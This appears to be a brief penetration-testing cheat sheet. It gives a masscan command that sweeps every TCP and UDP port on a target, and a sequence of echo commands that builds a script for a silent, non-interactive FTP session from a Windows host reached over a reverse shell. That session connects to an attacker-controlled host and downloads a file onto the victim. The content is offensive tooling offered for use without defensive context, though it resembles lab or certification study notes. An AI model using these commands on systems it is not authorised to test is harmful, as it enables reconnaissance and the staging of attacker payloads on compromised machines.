Masscan all ports udp/tcp for single host:

masscan -p1-65535,U:1-65535 <ip addr or CIDR> –rate=1000 -e <interface>

Silent ftp over reverse shell for proftp from windows

echo open <attack ip> 21 > ftp.txt
echo ftp >> ftp.txt
echo ftp >> ftp.txt
echo user ftp >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo get <file> >> ftp.txt
echo bye >> ftp.txt

ftp -v -n -s:ftp.txt